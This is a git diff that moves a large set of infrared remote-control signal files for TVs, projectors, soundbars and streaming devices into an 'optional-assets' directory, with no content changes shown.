a/assets/resources/infrared/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir b/assets/resources/infrared/optional-assets/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir similarity index 100% rename from assets/resources/infrared/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir rename to assets/resources/infrared/optional-assets/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir diff --git a/assets/resources/infrared/Projectors/BrandUnknown/README.md b/assets/resources/infrared/optional-assets/Projectors/BrandUnknown/README.md similarity index 100% rename from assets/resources/infrared/Projectors/BrandUnknown/README.md rename to assets/resources/infrared/optional-assets/Projectors/BrandUnknown/README.md diff --git a/assets/resources/infrared/Projectors/BrandUnknown/Scrn_innov.ir b/assets/resources/infrared/optional-assets/Projectors/BrandUnknown/Scrn_innov.ir similarity index 100% rename from assets/resources/infrared/Projectors/BrandUnknown/Scrn_innov.ir rename to assets/resources/infrared/optional-assets/Projectors/BrandUnknown/Scrn_innov.ir diff --git a/assets/resources/infrared/Projectors/BrandUnknown/Stlth_acou.ir b/assets/resources/infrared/optional-assets/Projectors/BrandUnknown/Stlth_acou.ir similarity index 100% rename from assets/resources/infrared/Projectors/BrandUnknown/Stlth_acou.ir rename to assets/resources/infrared/optional-assets/Projectors/BrandUnknown/Stlth_acou.ir diff --git a/assets/resources/infrared/Projectors/Casio/Casio_YT-130.ir b/assets/resources/infrared/optional-assets/Projectors/Casio/Casio_YT-130.ir similarity index 100% rename from assets/resources/infrared/Projectors/Casio/Casio_YT-130.ir rename to assets/resources/infrared/optional-assets/Projectors/Casio/Casio_YT-130.ir diff --git a/assets/resources/infrared/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir b/assets/resources/infrared/optional-assets/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir similarity index 100% rename from assets/resources/infrared/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir rename to assets/resources/infrared/optional-assets/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir diff --git a/assets/resources/infrared/Projectors/Dragonfly/Dragonfly_Screen.ir b/assets/resources/infrared/optional-assets/Projectors/Dragonfly/Dragonfly_Screen.ir similarity index 100% rename from assets/resources/infrared/Projectors/Dragonfly/Dragonfly_Screen.ir rename to assets/resources/infrared/optional-assets/Projectors/Dragonfly/Dragonfly_Screen.ir diff --git a/assets/resources/infrared/Projectors/Epson/Epson.ir b/assets/resources/infrared/optional-assets/Projectors/Epson/Epson.ir similarity index 100% rename from assets/resources/infrared/Projectors/Epson/Epson.ir rename to assets/resources/infrared/optional-assets/Projectors/Epson/Epson.ir diff --git a/assets/resources/infrared/Roku.ir b/assets/resources/infrared/optional-assets/Roku.ir similarity index 100% rename from assets/resources/infrared/Roku.ir rename to assets/resources/infrared/optional-assets/Roku.ir diff --git a/assets/resources/infrared/Roku2.ir b/assets/resources/infrared/optional-assets/Roku2.ir similarity index 100% rename from assets/resources/infrared/Roku2.ir rename to assets/resources/infrared/optional-assets/Roku2.ir diff --git a/assets/resources/infrared/Samsung.ir b/assets/resources/infrared/optional-assets/Samsung.ir similarity index 100% rename from assets/resources/infrared/Samsung.ir rename to assets/resources/infrared/optional-assets/Samsung.ir diff --git a/assets/resources/infrared/Samsung_TV.ir b/assets/resources/infrared/optional-assets/Samsung_TV.ir similarity index 100% rename from assets/resources/infrared/Samsung_TV.ir rename to assets/resources/infrared/optional-assets/Samsung_TV.ir diff --git a/assets/resources/infrared/Samsung_e6.ir b/assets/resources/infrared/optional-assets/Samsung_e6.ir similarity index 100% rename from assets/resources/infrared/Samsung_e6.ir rename to assets/resources/infrared/optional-assets/Samsung_e6.ir diff --git a/assets/resources/infrared/Scrn_innov.ir b/assets/resources/infrared/optional-assets/Scrn_innov.ir similarity index 100% rename from assets/resources/infrared/Scrn_innov.ir rename to assets/resources/infrared/optional-assets/Scrn_innov.ir diff --git a/assets/resources/infrared/Sharp_Roku_TV.ir b/assets/resources/infrared/optional-assets/Sharp_Roku_TV.ir similarity index 100% rename from assets/resources/infrared/Sharp_Roku_TV.ir rename to assets/resources/infrared/optional-assets/Sharp_Roku_TV.ir diff --git a/assets/resources/infrared/Sonyxbr.ir b/assets/resources/infrared/optional-assets/Sonyxbr.ir similarity index 100% rename from assets/resources/infrared/Sonyxbr.ir rename to assets/resources/infrared/optional-assets/Sonyxbr.ir diff --git a/assets/resources/infrared/SoundBars/Bose/Bose_Solo_2.ir b/assets/resources/infrared/optional-assets/SoundBars/Bose/Bose_Solo_2.ir similarity index 100% rename from assets/resources/infrared/SoundBars/Bose/Bose_Solo_2.ir rename to assets/resources/infrared/optional-assets/SoundBars/Bose/Bose_Solo_2.ir diff --git a/assets/resources/infrared/SoundBars/Bose/Bose_Solo_5.ir b/assets/resources/infrared/optional-assets/SoundBars/Bose/Bose_Solo_5.ir similarity index 100% rename from assets/resources/infrared/SoundBars/Bose/Bose_Solo_5.ir rename to assets/resources/infrared/optional-assets/SoundBars/Bose/Bose_Solo_5.ir diff --git a/assets/resources/infrared/SoundBars/Bose/Bose_Soundbar.ir b/assets/resources/infrared/optional-assets/SoundBars/Bose/Bose_Soundbar.ir similarity index 100% rename from assets/resources/infrared/SoundBars/Bose/Bose_Soundbar.ir rename to assets/resources/infrared/optional-assets/SoundBars/Bose/Bose_Soundbar.ir diff --git a/assets/resources/infrared/SoundBars/BrandUnknown/Amz_snd_bar.ir b/assets/resources/infrared/optional-assets/SoundBars/BrandUnknown/Amz_snd_bar.ir similarity index 100% rename from assets/resources/infrared/SoundBars/BrandUnknown/Amz_snd_bar.ir rename to assets/resources/infrared/optional-assets/SoundBars/BrandUnknown/Amz_snd_bar.ir diff --git a/assets/resources/infrared/SoundBars/BrandUnknown/Soundblasterx.ir b/assets/resources/infrared/optional-assets/SoundBars/BrandUnknown/Soundblasterx.ir similarity index 100% rename from assets/resources/infrared/SoundBars/BrandUnknown/Soundblasterx.ir rename to assets/resources/infrared/optional-assets/SoundBars/BrandUnknown/Soundblasterx.ir diff --git a/assets/resources/infrared/SoundBars/Klipsch/Klipsch_Soundbar.ir b/assets/resources/infrared/optional-assets/SoundBars/Klipsch/Klipsch_Soundbar.ir similarity index 100% rename from assets/resources/infrared/SoundBars/Klipsch/Klipsch_Soundbar.ir rename to assets/resources/infrared/optional-assets/SoundBars/Klipsch/Klipsch_Soundbar.ir diff --git a/assets/resources/infrared/SoundBars/Samsung.ir b/assets/resources/infrared/optional-assets/SoundBars/Samsung.ir similarity index 100% rename from assets/resources/infrared/SoundBars/Samsung.ir rename to assets/resources/infrared/optional-assets/SoundBars/Samsung.ir diff --git a/assets/resources/infrared/SoundBars/Sony/Sony_MHC-GS300AV.ir b/assets/resources/infrared/optional-assets/SoundBars/Sony/Sony_MHC-GS300AV.ir similarity index 100% rename from assets/resources/infrared/SoundBars/Sony/Sony_MHC-GS300AV.ir rename to assets/resources/infrared/optional-assets/SoundBars/Sony/Sony_MHC-GS300AV.ir diff --git a/assets/resources/infrared/SoundBars/Sony/Sony_Old_XBR.ir b/assets/resources/infrared/optional-assets/SoundBars/Sony/Sony_Old_XBR.ir similarity index 100% rename from assets/resources/infrared/SoundBars/Sony/Sony_Old_XBR.ir rename to assets/resources/infrared/optional-assets/SoundBars/Sony/Sony_Old_XBR.ir diff --git a/assets/resources/infrared/SoundBars/Sony/Sony_RDH-GTK33IP.ir b/assets/resources/infrared/optional-assets/SoundBars/Sony/Sony_RDH-GTK33IP.ir similarity index 100% rename from assets/resources/infrared/SoundBars/Sony/Sony_RDH-GTK33IP.ir rename to assets/resources/infrared/optional-assets/SoundBars/Sony/Sony_RDH-GTK33IP.ir diff --git a/assets/resources/infrared/SoundBars/Vizio/Vizio_Soundbar.ir b/assets/resources/infrared/optional-assets/SoundBars/Vizio/Vizio_Soundbar.ir similarity index 100% rename from assets/resources/infrared/SoundBars/Vizio/Vizio_Soundbar.ir rename to assets/resources/infrared/optional-assets/SoundBars/Vizio/Vizio_Soundbar.ir diff --git a/assets/resources/infrared/SoundBars/Yamaha/Yamaha_RX.ir b/assets/resources/infrared/optional-assets/SoundBars/Yamaha/Yamaha_RX.ir similarity index 100% rename from assets/resources/infrared/SoundBars/Yamaha/Yamaha_RX.ir rename to assets/resources/infrared/optional-assets/SoundBars/Yamaha/Yamaha_RX.ir diff --git a/assets/resources/infrared/Stlth_acou.ir b/assets/resources/infrared/optional-assets/Stlth_acou.ir similarity index 100% rename from assets/resources/infrared/Stlth_acou.ir rename to assets/resources/infrared/optional-assets/Stlth_acou.ir diff --git a/assets/resources/infrared/Streaming Devices/Apple/Apple_TV.ir b/assets/resources/infrared/optional-assets/Streaming Devices/Apple/Apple_TV.ir similarity index 100% rename from assets/resources/infrared/Streaming Devices/Apple/Apple_TV.ir rename to assets/resources/infrared/optional-assets/Streaming Devices/Apple/Apple_TV.ir diff --git a/assets/resources/infrared/Streaming Devices/Roku/Jet_AFS-1000b.ir b/assets/resources/infrared/optional-assets/Streaming Devices/Roku/Jet_AFS-1000b.ir similarity index 100% rename from assets/resources/infrared/Streaming Devices/Roku/Jet_AFS-1000b.ir rename to assets/resources/infrared/optional-assets/Streaming Devices/Roku/Jet_AFS-1000b.ir diff --git a/assets/resources/infrared/Streaming Devices/Roku/Roku.ir b/assets/resources/infrared/optional-assets/Streaming Devices/Roku/Roku.ir similarity index 100% rename from assets/resources/infrared/Streaming Devices/Roku/Roku.ir rename to assets/resources/infrared/optional-assets/Streaming Devices/Roku/Roku.ir diff --git a/assets/resources/infrared/Streaming Devices/Roku/Roku2.ir b/assets/resources/infrared/optional-assets/Streaming Devices/Roku/Roku2.ir similarity index 100% rename from assets/resources/infrared/Streaming Devices/Roku/Roku2.ir rename to assets/resources/infrared/optional-assets/Streaming Devices/Roku/Roku2.ir diff --git a/assets/resources/infrared/Streaming Devices/Roku/Roku_Alternate.ir b/assets/resources/infrared/optional-assets/Streaming Devices/Roku/Roku_Alternate.ir similarity index 100% rename from assets/resources/infrared/Streaming Devices/Roku/Roku_Alternate.ir rename to assets/resources/infrared/optional-assets/Streaming Devices/Roku/Roku_Alternate.ir diff --git a/assets/resources/infrared/Sunbrite.ir b/assets/resources/infrared/optional-assets/Sunbrite.ir similarity index 100% rename from assets/resources/infrared/Sunbrite.ir rename to assets/resources/infrared/optional-assets/Sunbrite.ir diff --git a/assets/resources/infrared/Szxlcom_cams.ir b/assets/resources/infrared/optional-assets/Szxlcom_cams.ir similarity index 100% rename from assets/resources/infrared/Szxlcom_cams.ir rename to assets/resources/infrared/optional-assets/Szxlcom_cams.ir diff --git a/assets/resources/infrared/TVs/APEX LE4643T TV.ir b/assets/resources/infrared/optional-assets/TVs/APEX LE4643T TV.ir similarity index 100% rename from assets/resources/infrared/TVs/APEX LE4643T TV.ir rename to assets/resources/infrared/optional-assets/TVs/APEX LE4643T TV.ir diff --git a/assets/resources/infrared/TVs/Hisense/Hisense_RokuTV.ir b/assets/resources/infrared/optional-assets/TVs/Hisense/Hisense_RokuTV.ir similarity index 100% rename from assets/resources/infrared/TVs/Hisense/Hisense_RokuTV.ir rename to assets/resources/infrared/optional-assets/TVs/Hisense/Hisense_RokuTV.ir diff --git a/assets/resources/infrared/TVs/LG/LG_C1.ir b/assets/resources/infrared/optional-assets/TVs/LG/LG_C1.ir similarity index 100% rename from assets/resources/infrared/TVs/LG/LG_C1.ir rename to assets/resources/infrared/optional-assets/TVs/LG/LG_C1.ir diff --git a/assets/resources/infrared/TVs/LG_55UN7300AUD.ir b/assets/resources/infrared/optional-assets/TVs/LG_55UN7300AUD.ir similarity index 100% rename from assets/resources/infrared/TVs/LG_55UN7300AUD.ir rename to assets/resources/infrared/optional-assets/TVs/LG_55UN7300AUD.ir diff --git a/assets/resources/infrared/TVs/NEC/NEC.ir b/assets/resources/infrared/optional-assets/TVs/NEC/NEC.ir similarity index 100% rename from assets/resources/infrared/TVs/NEC/NEC.ir rename to assets/resources/infrared/optional-assets/TVs/NEC/NEC.ir diff --git a/assets/resources/infrared/TVs/Panasonic/Panasonic_TC-P50S2.ir b/assets/resources/infrared/optional-assets/TVs/Panasonic/Panasonic_TC-P50S2.ir similarity index 100% rename from assets/resources/infrared/TVs/Panasonic/Panasonic_TC-P50S2.ir rename to assets/resources/infrared/optional-assets/TVs/Panasonic/Panasonic_TC-P50S2.ir diff --git a/assets/resources/infrared/TVs/Philips/Philips_32PFL4208T.ir b/assets/resources/infrared/optional-assets/TVs/Philips/Philips_32PFL4208T.ir similarity index 100% rename from assets/resources/infrared/TVs/Philips/Philips_32PFL4208T.ir rename to assets/resources/infrared/optional-assets/TVs/Philips/Philips_32PFL4208T.ir diff --git a/assets/resources/infrared/TVs/Samsung/Samsung.ir b/assets/resources/infrared/optional-assets/TVs/Samsung/Samsung.ir similarity index 100% rename from assets/resources/infrared/TVs/Samsung/Samsung.ir rename to assets/resources/infrared/optional-assets/TVs/Samsung/Samsung.ir diff --git a/assets/resources/infrared/TVs/Samsung/Samsung_BN59.ir b/assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_BN59.ir similarity index 100% rename from assets/resources/infrared/TVs/Samsung/Samsung_BN59.ir rename to assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_BN59.ir diff --git a/assets/resources/infrared/TVs/Samsung/Samsung_BN5901301A.ir b/assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_BN5901301A.ir similarity index 100% rename from assets/resources/infrared/TVs/Samsung/Samsung_BN5901301A.ir rename to assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_BN5901301A.ir diff --git a/assets/resources/infrared/TVs/Samsung/Samsung_E6.ir b/assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_E6.ir similarity index 100% rename from assets/resources/infrared/TVs/Samsung/Samsung_E6.ir rename to assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_E6.ir diff --git a/assets/resources/infrared/TVs/Samsung/Samsung_TV.ir b/assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_TV.ir similarity index 100% rename from assets/resources/infrared/TVs/Samsung/Samsung_TV.ir rename to assets/resources/infrared/optional-assets/TVs/Samsung/Samsung_TV.ir diff --git a/assets/resources/infrared/TVs/Sharp/Sharp_Roku_TV.ir b/assets/resources/infrared/optional-assets/TVs/Sharp/Sharp_Roku_TV.ir similarity index 100% rename from assets/resources/infrared/TVs/Sharp/Sharp_Roku_TV.ir rename to assets/resources/infrared/optional-assets/TVs/Sharp/Sharp_Roku_TV.ir diff --git a/assets/resources/infrared/TVs/Sony/Sony_Bravia.ir b/assets/resources/infrared/optional-assets/TVs/Sony/Sony_Bravia.ir similarity index 100% rename from assets/resources/infrared/TVs/Sony/Sony_Bravia.ir rename to assets/resources/infrared/optional-assets/TVs/Sony/Sony_Bravia.ir diff --git a/assets/resources/infrared/TVs/Sony/Sony_XBR.ir b/assets/resources/infrared/optional-assets/TVs/Sony/Sony_XBR.ir similarity index 100% rename from assets/resources/infrared/TVs/Sony/Sony_XBR.ir rename to assets/resources/infrared/optional-assets/TVs/Sony/Sony_XBR.ir diff --git a/assets/resources/infrared/TVs/Sony/Sony_XBR_RMT-TX200U.ir b/assets/resources/infrared/optional-assets/TVs/Sony/Sony_XBR_RMT-TX200U.ir similarity index 100% rename from assets/resources/infrared/TVs/Sony/Sony_XBR_RMT-TX200U.ir rename to assets/resources/infrared/optional-assets/TVs/Sony/Sony_XBR_RMT-TX200U.ir diff --git a/assets/resources/infrared/TVs/Sunbrite/Sunbrite.ir b/assets/resources/infrared/optional-assets/TVs/Sunbrite/Sunbrite.ir similarity index 100% rename from assets/resources/infrared/TVs/Sunbrite/Sunbrite.ir rename to assets/resources/infrared/optional-assets/TVs/Sunbrite/Sunbrite.ir diff --git a/assets/resources/infrared/TVs/TCL/TCL_32S327.ir b/assets/resources/infrared/optional-assets/TVs/TCL/TCL_32S327.ir similarity index 100% rename from assets/resources/infrared/TVs/TCL/TCL_32S327.ir rename to assets/resources/infrared/optional-assets/TVs/TCL/TCL_32S327.ir diff --git a/assets/resources/infrared/TVs/TCL/TCL_UnknownModel1.ir b/assets/resources/infrared/optional-assets/TVs/TCL/TCL_UnknownModel1.ir similarity index 100% rename from assets/resources/infrared/TVs/TCL/TCL_UnknownModel1.ir rename to assets/resources/infrared/optional-assets/TVs/TCL/TCL_UnknownModel1.ir diff --git a/assets/resources/infrared/TVs/TCL/TCL_UnknownModel2.ir b/assets/resources/infrared/optional-assets/TVs/TCL/TCL_UnknownModel2.ir similarity index 100% rename from assets/resources/infrared/TVs/TCL/TCL_UnknownModel2.ir rename to assets/resources/infrared/optional-assets/TVs/TCL/TCL_UnknownModel2.ir diff --git a/assets/resources/infrared/TVs/Toshiba/Toshiba_32AV502U.ir b/assets/resources/infrared/optional-assets/TVs/Toshiba/Toshiba_32AV502U.ir similarity index 100% rename from assets/resources/infrared/TVs/Toshiba/Toshiba_32AV502U.ir rename to assets/resources/infrared/optional-assets/TVs/Toshiba/Toshiba_32AV502U.ir diff --git a/assets/resources/infrared/TVs/Vizio/Vizio.ir b/assets/resources/infrared/optional-assets/TVs/Vizio/Vizio.ir similarity index 100% rename from assets/resources/infrared/TVs/Vizio/Vizio.ir rename to assets/resources/infrared/optional-assets/TVs/Vizio/Vizio.ir diff --git a/assets/resources/infrared/TVs/Westinghouse/Westinghouse.ir b/assets/resources/infrared/optional-assets/TVs/Westinghouse/Westinghouse.ir similarity index 100% rename from assets/resources/infrared/TVs/Westinghouse/Westinghouse.ir rename to assets/resources/infrared/optional-assets/TVs/Westinghouse/Westinghouse.ir diff --git a/assets/resources/infrared/Tcl.ir b/assets/resources/infrared/optional-assets/Tcl.ir similarity index 100% rename from assets/resources/infrared/Tcl.ir rename to assets/resources/infrared/optional-assets/Tcl.ir diff --git a/assets/resources/infrared/Tcl_32s327.ir b/assets/resources/infrared/optional-assets/Tcl_32s327.ir similarity index 100% rename from assets/resources/infrared/Tcl_32s327.ir rename to assets/resources/infrared/optional-assets/Tcl_32s327.ir diff --git a/assets/resources/infrared/Tcl_tv.ir b/assets/resources/infrared/optional-assets/Tcl_tv.ir similarity index 100% rename from assets/resources/infrared/Tcl_tv.ir rename to assets/resources/infrared/optional-assets/Tcl_tv.ir diff --git a/assets/resources/infrared/Vizio.ir b/assets/resources/infrared/optional-assets/Vizio.ir similarity index 100% rename from assets/resources/infrared/Vizio.ir rename to assets/resources/infrared/optional-assets/Vizio.ir diff --git a/assets/resources/infrared/Vizio_Soundbar.ir b/assets/resources/infrared/optional-assets/Vizio_Soundbar.ir similarity index 100% rename from assets/resources/infrared/Vizio_Soundbar.ir rename to assets/resources/infrared/optional-assets/Vizio_Soundbar.ir diff --git a/assets/resources/infrared/Vornado.ir b/assets/resources/infrared/optional-assets/Vornado.ir similarity index 100% rename from assets/resources/infrared/Vornado.ir rename to assets/resources/infrared/optional-assets/Vornado.ir diff --git a/assets/resources/infrared/Westinghouse.ir b/assets/resources/infrared/optional-assets/Westinghouse.ir similarity index 100% rename from assets/resources/infrared/Westinghouse.ir rename to assets/resources/infrared/optional-assets/Westinghouse.ir diff --git a/assets/resources/infrared/Whynter_AC.ir b/assets/resources/infrared/optional-assets/Whynter_AC.ir similarity index 100% rename from assets/resources/infrared/Whynter_AC.ir rename to assets/resources/infrared/optional-assets/Whynter_AC.ir diff --git a/assets/resources/infrared/Xbox.ir b/assets/resources/infrared/optional-assets/Xbox.ir similarity index 100% rename from assets/resources/infrared/Xbox.ir rename to assets/resources/infrared/optional-assets/Xbox.ir diff --git a/assets/resources/infrared/Yamaha_rx.ir b/assets/resources/infrared/optional-assets/Yamaha_rx.ir similarity index 100% rename from assets/resources/infrared/Yamaha_rx.ir rename to assets/resources/infrared/optional-assets/Yamaha_rx.ir diff --git a/assets/resources/infrared/Zenith_AC.ir b/assets/resources/infrared/optional-assets/Zenith_AC.ir similarity index 100% rename from assets/resources/infrared/Zenith_AC.ir rename to assets/resources/infrared/optional-assets/Zenith_AC.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/3M/Projector/134,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/3M/Projector/134,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/3M/Projector/134,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/3M/Projector/134,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/3M/Video Projector/134,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/3M/Video Projector/134,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/3M/Video Projector/134,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/3M/Video Projector/134,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ABS/SAT_8776/8,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ABS/SAT_8776/8,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ABS/SAT_8776/8,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ABS/SAT_8776/8,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ADA/Millenium/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ADA/Millenium/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ADA/Millenium/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ADA/Millenium/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ADB/Set Top Box/42,17.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ADB/Set Top Box/42,17.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ADB/Set Top Box/42,17.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ADB/Set Top Box/42,17.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/AIM/RADIO/129,129.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/AIM/RADIO/129,129.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/AIM/RADIO/129,129.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/AIM/RADIO/129,129.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ANITECH/TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ANITECH/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ANITECH/TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ANITECH/TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/AOC/TV/0,189.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/AOC/TV/0,189.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/AOC/TV/0,189.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/AOC/TV/0,189.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Acer/Projector/8,19.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Projector/8,19.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Acer/Projector/8,19.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Projector/8,19.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir rename 